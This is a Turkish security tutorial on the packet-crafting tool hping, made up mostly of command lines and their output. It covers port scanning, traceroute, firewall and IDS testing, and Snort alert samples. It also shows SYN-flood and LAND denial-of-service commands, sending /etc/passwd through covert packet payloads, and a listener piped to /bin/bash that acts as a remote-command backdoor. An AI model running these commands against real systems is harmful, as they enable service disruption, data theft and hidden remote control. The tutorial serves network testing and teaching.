URL: http://www.olympos.org/article/articleprint/2275/-1/10/hping_kullanarak__tcp_ip_paketleri_ile_oynamak |
Hping kullanarak TCP/IP Paketleri ile Oynamak |
1. Hping Nedir?
a. Nasıl Edinebilirim?
2. Temel Hping Kullanımı
a. Hping Çalışma Modları
b. TCP Paketleri ile Oynamak
1. RST Bayraklı TCP paketleri oluşturmak
c. Port Belirtimi
d. Hping taramalarının IDS'ler tarafından yakalanması.
e. ICMP Paketleri ile Oynamak
3. Port Tarama aracı olarak Hping
a. SYN Tarama İncelemesi
b. SYN Scan/FIN Scan/Null Scan/Xmas Tarama Çeşitleri
c. Hping ile XMAS tarama
d. FIN Scan Örneği
4. Traceroute Aracı olarak Hping
a. TCP kullanarak traceroute
5. Güvenlik Duvarı (Firewall) Testleri
a. Firewall Performans Testleri (D/DOS Saldırısı Oluşturmak)
b. LAND Atağı
6. Hedef Sistem Hakkında Bilgi Edinmek
a. Sequence numarası tahmini
b. Hedef Sistemin Uptime Süresi Belirleme
7. IDS/IPS Testlerinde Hping Kullanımı
a. Yapılan Taramaları IDS ile İzleme/Engelleme
8. Hping ile Dosya Transferi
9. Hping ile uzak sistemlerde komut çalıştırma
a. UDP üzerinden komut çalıştırma
b. Kapalı porta veri göndererek Komut Çalıştırma
Hping Nedir?
Hping, istenilen türde TCP/IP paketleri oluşturmak için kullanılan harikulade bir araçtır. Oluşturulacak paketlerde tüm alanları kendimize özgü belirlenebilmesi, dinleme modu ile hostlara arası dosya transferi ve komut çalıştırma özelliği(Truva ati?), IDS/IPS testleri için özel veri alanı belirtilebilmesi(ids imzalarinin testi) gibi ileri düzey özelliklere sahiptir.
Hping’i tüm özellikleri ile efektif kullanabilmek , çıktılarını yorumlamak için orta düzey TCP/IP bilgisi gerekir. Klasik otomatize araçlardan farklı olarak hping ile tamamen kendi oluşturduğunuz (tcp/ip bilgisi burada işe yariyor) paketleri ağa gönderirsiniz. Mesela XMAS Scan için nmap’de nmap –SX komutu verilirken hping’de XMAS scanin ne olduğunu, hangi TCP bayrakları ile gerçekleştirildiğini bilmeniz ve ona göre parametreleri oluşturmanız gerekir (hping –FUP hedef_sistem)
Nasıl Edinebilirim?
Hping Linux/UNIX/Windows sistemler üzerinde sorunsuzca kullanılabilir ve kullanım için herhangi bir ücret istenmemektedir.
Hping.org adresinden indireceğiniz kaynak kodları sisteminizde derleyerek hping’î kullanmaya başlayabilirsiniz(
Kurulum için kaynak koddan derleme yerine kullandığınız Linux dağıtımlarının paket yönetim sistemleri de kullanılabilir
#yum install hping3 / Fedora icin
#apt-get install hping3 / Debian icin
Aynı sitede Windows sistemler için hazır kurulum paketleri de bulunmaktadır.
|
# hping 192.168.1.1 HPING 192.168.1.1 (eth0 192.168.1.1): NO FLAGS are set, 40 headers + 0 data bytes Ctrl^C --- 192.168.1.1 hping statistic --- 3 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms Tcpdump Çıktısı # tcpdump -i eth0 -tttnn tcp port 0 IP 192.168.1.5.1894 > 192.168.1.1.0: . win 512 IP 192.168.1.5.1895 > 192.168.1.1.0: . win 512 |
|
|
# hping -S 192.168.1.1 HPING 192.168.1.1 (eth0 192.168.1.1): S set, 40 headers + 0 data bytes len=46 ip=192.168.1.1 ttl=255 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=2.5 ms len=46 ip=192.168.1.1 ttl=255 DF id=0 sport=0 flags=RA seq=1 win=0 rtt=0.9 ms --- 192.168.1.1 hping statistic --- 2 packets tramitted, 2 packets received, 0% packet loss round-trip min/avg/max = 0.9/1.7/2.5 ms Hping tarafından oluşturulan paket detayı # tcpdump -i eth0 -ttttnn tcp and host 192.168.1.1 2007-07-05 19:44:30.096849 IP 192.168.1.4.2244 > 192.168.1.1.0: S 2019758107:2019758107(0) win 512 2007-07-05 19:44:30.097393 IP 192.168.1.1.0 > 192.168.1.4.2244: R 0:0(0) ack 2019758108 win 0 |
# hping -R -c 3 192.168.1.1 HPING 192.168.1.1 (eth0 192.168.1.1): R set, 40 headers + 0 data bytes --- 192.168.1.1 hping statistic --- 3 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
# hping -RFSP -c 3 192.168.1.1 -p 1000 HPING 192.168.1.1 (eth0 192.168.1.1): RSFP set, 40 headers + 0 data bytes --- 192.168.1.1 hping statistic --- 3 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
# tcpdump -i eth0 -ttttnn tcp port 1000 and host 192.168.1.1 2007-07-05 19:54:19.670625 IP 192.168.1.4.2740 > 192.168.1.1.1000: SFRP 508587781:508587781(0) win 512 2007-07-05 19:54:20.674001 IP 192.168.1.4.2741 > 192.168.1.1.1000: SFRP 440757720:440757720(0) win 512 2007-07-05 19:54:21.679141 IP 192.168.1.4.2742 > 192.168.1.1.1000: SFRP 190960265:190960265(0) win 512 |
|
# hping --icmp 192.168.1.1 -c 1 HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 0 data bytes len=46 ip=192.168.1.1 ttl=255 id=25683 icmp_seq=0 rtt=2.6 ms --- 192.168.1.1 hping statistic --- 1 packets tramitted, 1 packets received, 0% packet loss round-trip min/avg/max = 2.6/2.6/2.6 ms |
# hping --udp 192.168.1.1 -p 9000 -n -c 1 HPING 192.168.1.1 (eth0 192.168.1.1): udp mode set, 28 headers + 0 data bytes ICMP Port Unreachable from ip=192.168.1.1 # tcpdump -i eth0 -ttttnn udp or icmp and host 192.168.1.1 2007-07-05 20:15:49.368744 IP 192.168.1.4.2548 > 192.168.1.1.9000: UDP, length 0 2007-07-05 20:15:49.369452 IP 192.168.1.1 > 192.168.1.4: ICMP 192.168.1.1 udp port 9000 unreachable, length 36 |
|
# hping -S 192.168.1.1 -p ++22 HPING 192.168.1.1 (eth0 192.168.1.1): S set, 40 headers + 0 data bytes len=46 ip=192.168.1.1 ttl=64 DF id=0 sport=22 flags=SA seq=0 win=5840 rtt=6.2 ms len=46 ip=192.168.1.1 ttl=64 DF id=0 sport=23 flags=SA seq=1 win=5840 rtt=0.9 ms len=46 ip=192.168.1.1 ttl=255 DF id=0 sport=24 flags=RA seq=2 win=0 rtt=0.8 ms len=46 ip=192.168.1.1 ttl=255 DF id=0 sport=25 flags=RA seq=3 win=0 rtt=0.8 ms len=46 ip=192.168.1.1 ttl=255 DF id=0 sport=26 flags=RA seq=4 win=0 rtt=0.7 ms len=46 ip=192.168.1.1 ttl=255 DF id=0 sport=27 flags=RA seq=5 win=0 rtt=0.7 ms --- 192.168.1.1 hping statistic --- 13 packets tramitted, 13 packets received, 0% packet loss round-trip min/avg/max = 0.7/1.2/6.2 ms |
#hping -S vpn.lifeoverip.net -p 21 -c 2 HPING vpn.lifeoverip.net (fxp0 80.93.212.86): S set, 40 headers + 0 data bytes len=46 ip=80.93.212.86 ttl=64 DF id=39414 sport=21 flags=SA seq=0 win=16384 rtt=0.4 ms |
#tcpdump -i fxp0 -tttnn tcp port 21 000000 IP 172.16.10.2.2023 > 80.93.212.86.21: S 706083143:706083143(0) win 512 000213 IP 80.93.212.86.21 > 172.16.10.2.2023: S 3082095413:3082095413(0) ack 706083144 win 16384 <mss 1460> 000224 IP 172.16.10.2.2023 > 80.93.212.86.21: R 706083144:706083144(0) win 0 |
# hping --scan 21,22,23,80,110,130-143 -S 194.27.72.88 Scanning 194.27.72.88 (194.27.72.88), port 21,22,23,80,110,130-143 19 ports to scan, use -V to see all the replies +----+-----------+---------+---+-----+-----+-----+ |port| serv name | flags |ttl| id | win | len | +----+-----------+---------+---+-----+-----+-----+ 21 ftp : .S..A... 56 52428 65535 46 22 ssh : .S..A... 56 52684 65535 46 80 http : .S..A... 56 52940 65535 46 110 pop3 : .S..A... 56 53196 65535 46 All replies received. Done. Not responding ports: (130 cisco-fna) (131 cisco-tna) (132 cisco-sys) (133 statsrv) (134 ingres-net) (135 loc-srv) (136 profile) (137 netbios-ns) (138 netbios-dgm) (139 netbios-ssn) (140 emfis-data) (141 emfis- cntl) (142 bl-idm) (143 imap) |
# hping -F -p 1000 192.168.1.3 -n -c 1 HPING 192.168.1.3 (eth0 192.168.1.3): F set, 40 headers + 0 data bytes len=46 ip=192.168.1.3 ttl=128 id=22870 sport=1000 flags=RA seq=0 win=0 rtt=72.2 ms |
# hping -F -p 111 192.168.1.4 -c 2 HPING 192.168.1.4 (eth0 192.168.1.4): F set, 40 headers + 0 data bytes --- 192.168.1.4 hping statistic --- 2 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
# hping -z -t 1 194.27.72.88 -p 80 -S -n HPING 194.27.72.88 (eth0 194.27.72.88): S set, 40 headers + 0 data bytes TTL 0 during transit from ip=192.168.1.1 TTL 0 during transit from ip=192.168.1.1 2: TTL 0 during transit from ip=88.235.72.1 TTL 0 during transit from ip=88.235.72.1 TTL 0 during transit from ip=88.235.72.1 TTL 0 during transit from ip=88.235.72.1 3: TTL 0 during transit from ip=212.156.24.150 TTL 0 during transit from ip=212.156.24.150 7: TTL 0 during transit from ip=193.255.0.62 TTL 0 during transit from ip=193.255.0.62 TTL 0 during transit from ip=193.255.0.62 8: TTL 0 during transit from ip=194.27.72.88 TTL 0 during transit from ip=194.27.72.88 TTL 0 during transit from ip=194.27.72.88 9: len=46 ip=194.27.72.88 ttl=56 DF id=46970 sport=80 flags=SA seq=31 win=65535 rtt=20.8 ms len=46 ip=194.27.72.88 ttl=56 DF id=46972 sport=80 flags=SA seq=32 win=65535 rtt=18.2 ms 10: len=46 ip=194.27.72.88 ttl=56 DF id=46973 sport=80 flags=SA seq=33 win=65535 rtt=18.7 ms --- 194.27.72.88 hping statistic --- 34 packets tramitted, 17 packets received, 50% packet loss round-trip min/avg/max = 18.2/19.2/20.8 ms |
# hping -S --rand-source 192.168.1.3 -p 445 -I eth0 --flood HPING 192.168.1.3 (eth0 192.168.1.3): S set, 40 headers + 0 data bytes hping in flood mode, no replies will be shown ... ... |
|
|
#hping -a 192.168.1.4 192.168.1.4 -S -p 22 --flood HPING 192.168.1.4 (eth0 192.168.1.4): S set, 40 headers + 0 data bytes --- 192.168.1.4 hping statistic --- 10 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
[**] [116:151:1] (snort decoder) Bad Traffic Same Src/Dst IP [**] 07/12-20:14:52.750771 192.168.1.4:2587 -> 192.168.1.4:22 TCP TTL:64 TOS:0x0 ID:56230 IpLen:20 DgmLen:40 ******S* Seq: 0x781CB8BE Ack: 0x5ACC9778 Win: 0x200 TcpLen: 20 [**] [1:527:8] BAD-TRAFFIC same SRC/DST [**] [Classification: Potentially Bad Traffic] [Priority: 2] 07/12-20:14:52.750771 192.168.1.4:2587 -> 192.168.1.4:22 TCP TTL:64 TOS:0x0 ID:56230 IpLen:20 DgmLen:40 ******S* Seq: 0x781CB8BE Ack: 0x5ACC9778 Win: 0x200 TcpLen: 20 [Xref => http://www.cert.org/advisories/CA-1997-28.html] [Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0016] [Xref => http://www.securityfocus.com/bid/2666] |
# hping2 --seqnum -p 80 -S -i u1 192.168.1.1 HPING 192.168.1.1 (eth0 192.168.1.1): S set, 40 headers + 0 data bytes 1734626550 +1734626550 1733715899 +4294056644 1731604480 +4292855876 1736090136 +4485656 1730089804 +4288966963 1736532059 +6442255 1730574131 +4289009367 1735749233 +5175102 1725002138 +4284220200 1725076236 +74098 1729656540 +4580304 1721106365 +4286417120 1728255185 +7148820 1726183881 +4292895991 1722164576 +4290947990 1720622483 +4293425202 |
# hping3 -S --tcp-timestamp -p 80 -c 2 194.27.72.88 HPING 194.27.72.88 (eth0 194.27.72.88): S set, 40 headers + 0 data bytes len=56 ip=194.27.72.88 ttl=56 DF id=28012 sport=80 flags=SA seq=0 win=65535 rtt=104.5 ms TCP timestamp: tcpts=55281816 len=56 ip=194.27.72.88 ttl=56 DF id=28013 sport=80 flags=SA seq=1 win=65535 rtt=99.1 ms TCP timestamp: tcpts=55281917 HZ seems hz=100 System uptime seems: 6 days, 9 hours, 33 minutes, 39 seconds --- 194.27.72.88 hping statistic --- 2 packets tramitted, 2 packets received, 0% packet loss round-trip min/avg/max = 99.1/101.8/104.5 ms |
[**] [1:524:8] BAD-TRAFFIC—hping Taramasi-- tcp port 0 traffic [**] [Classification: Misc activity] [Priority: 3] 07/12-20:08:00.723275 192.168.1.5:1222 -> 192.168.1.4:0 TCP TTL:64 TOS:0x0 ID:966 IpLen:20 DgmLen:40 ******** Seq: 0x3D69F7AB Ack: 0x41DBBD11 Win: 0x200 TcpLen: 20 |
bt exploits # hping -P 192.168.1.3 -d 100 -p 80 -E exptest -c 1 HPING 192.168.1.3 (eth0 192.168.1.3): P set, 40 headers + 100 data bytes [main] memlockall(): Success Warning: can't disable memory paging! len=46 ip=192.168.1.3 ttl=128 id=46608 sport=80 flags=RA seq=0 win=0 rtt=39.0 ms --- 192.168.1.3 hping statistic --- 1 packets tramitted, 1 packets received, 0% packet loss round-trip min/avg/max = 39.0/39.0/39.0 ms |
|
alert tcp $EXTERNAL_NET any -> $TELNET_SERVERS 23 (msg:"TELNET xyz exploit attempt"; flow:to_server; content:"bin/sh"; classtype:she llcode-detect; sid:1430; rev:7;) # cat snort_test bin/sh # hping -n -c 1 -P 192.168.1.4 -p 23 -d 50 -E snort_test HPING 192.168.1.4 (eth0 192.168.1.4): P set, 40 headers + 50 data bytes [main] memlockall(): Success Warning: can't disable memory paging! --- 192.168.1.4 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms Snort Loglarına bakacak olursak kuralımızın tetiklendiğini görürüz. [**] [1:1430:7] TELNET xyz exploit attempt [**] [Classification: Executable code was detected] [Priority: 1] 07/12-21:53:46.758684 192.168.1.5:2445 -> 192.168.1.4:23 TCP TTL:64 TOS:0x0 ID:49841 IpLen:20 DgmLen:90 ****P*** Seq: 0x16AB9A80 Ack: 0x37A74B05 Win: 0x200 TcpLen: 20 |
#hping -FUP -n -p 22 192.168.1.4 -c 2 HPING 192.168.1.4 (eth0 192.168.1.4): FPU set, 40 headers + 0 data bytes --- 192.168.1.4 hping statistic --- 2 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
# tail -f /var/log/snort/alert **U*P**F Seq: 0x5DDA5952 Ack: 0x3220A1A8 Win: 0x200 TcpLen: 20 UrgPtr: 0x0 [Xref => http://www.whitehats.com/info/IDS30] [**] [1:1228:7] SCAN nmap XMAS [**] [Classification: Attempted Information Leak] [Priority: 2] 07/12-20:41:07.953181 192.168.1.5:2165 -> 192.168.1.4:22 TCP TTL:64 TOS:0x0 ID:47151 IpLen:20 DgmLen:40 **U*P**F Seq: 0x6C47BC04 Ack: 0x736BEDAF Win: 0x200 TcpLen: 20 UrgPtr: 0x0 [Xref => http://www.whitehats.com/info/IDS30] |
#hping --icmp 192.168.1.4 -d 200 --sign huzeyfe --file /etc/group HPING 192.168.1.4 (eth0 192.168.1.4): icmp mode set, 28 headers + 200 data bytes [main] memlockall(): Success Warning: can't disable memory paging! |
# hping --icmp 192.168.1.4 --listen huzeyfe --safe -I eth0 hping2 listen mode [main] memlockall(): Success Warning: can't disable memory paging! ...etc/group içeriği |
2007-07-05 22:24:20.333750 IP 192.168.1.4 > 192.168.1.4: ICMP echo request, id 29022, seq 6144, length 208
0x0000: 4500 00e4 b8da 0000 4001 3de6 c0a8 0104 E.......@.=.....
0x0010: c0a8 0104 0800 900e 715e 1800 6875 7a65 ........q^..huze
0x0020: 7966 6572 6f6f 743a 3a30 3a72 6f6f 740a yferoot::0:root.
0x0030: 6269 6e3a 3a31 3a72 6f6f 742c 6269 6e2c bin::1:root,bin,
0x0040: 6461 656d 6f6e 0a64 6165 6d6f 6e3a 3a32 daemon.daemon::2
0x0050: 3a72
|
# hping --listen huzeyfe -n -p 22 >aliveli Warning: Unable to guess the output interface hping2 listen mode [main] memlockall(): Success Warning: can't disable memory paging! --- hping statistic --- 0 packets tramitted, 0 packets received, 0% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
# hping --sign huzeyfe -p 22 -c 1 -n -d 300 -E /etc/passwd 192.168.1.5 HPING 192.168.1.5 (eth0 192.168.1.5): NO FLAGS are set, 40 headers + 300 data bytes [main] memlockall(): Success Warning: can't disable memory paging! --- 192.168.1.5 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
# cat aliveli root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: ... |
# hping --listen huzeyfe -n -p 2222 > kapali_port_ft Warning: Unable to guess the output interface hping2 listen mode [main] memlockall(): Success Warning: can't disable memory paging! --- hping statistic --- 0 packets tramitted, 0 packets received, 0% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
# hping --sign huzeyfe -F -p 2222 -c 1 -n -d 1000 -E /etc/passwd 192.168.1.5 HPING 192.168.1.5 (eth0 192.168.1.5): F set, 40 headers + 1000 data bytes [main] memlockall(): Success Warning: can't disable memory paging! --- 192.168.1.5 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
# tcpdump -tttnn tcp port 2222 000000 IP 192.168.1.4.2617 > 192.168.1.5.2222: F 2013000099:2013001099(1000) win 512 000037 IP 192.168.1.5.2222 > 192.168.1.4.2617: R 0:0(0) ack 2013001100 win 0 |
bt ~ # cat kapali_port_ft root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash ... |
# hping --listen gizli_kanal -n -p 22 |/bin/bash Warning: Unable to guess the output interface hping2 listen mode [main] memlockall(): Success Warning: can't disable memory paging! --- hping statistic --- 0 packets tramitted, 0 packets received, 0% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
# nc 127.0.0.1 22 -n SSH-1.99-OpenSSH_4.4 gizli_kanal touch /tmp/hping_irc Protocol mismatch. |
# ls -l /tmp/ .ICE-unix/ .X0-lock .X11-unix/ hping_irc kde-root/ ksocket-root/ ssh-FJyhC11436/ |
#hping --listen gizli_kanal -n --udp -p 68 |/bin/bash Warning: Unable to guess the output interface hping2 listen mode [main] memlockall(): Success Warning: can't disable memory paging! |
#nc -u 127.0.0.1 68 -v localhost [127.0.0.1] 68 (bootpc) open gizli_kanal mkdir /tmp/yeni |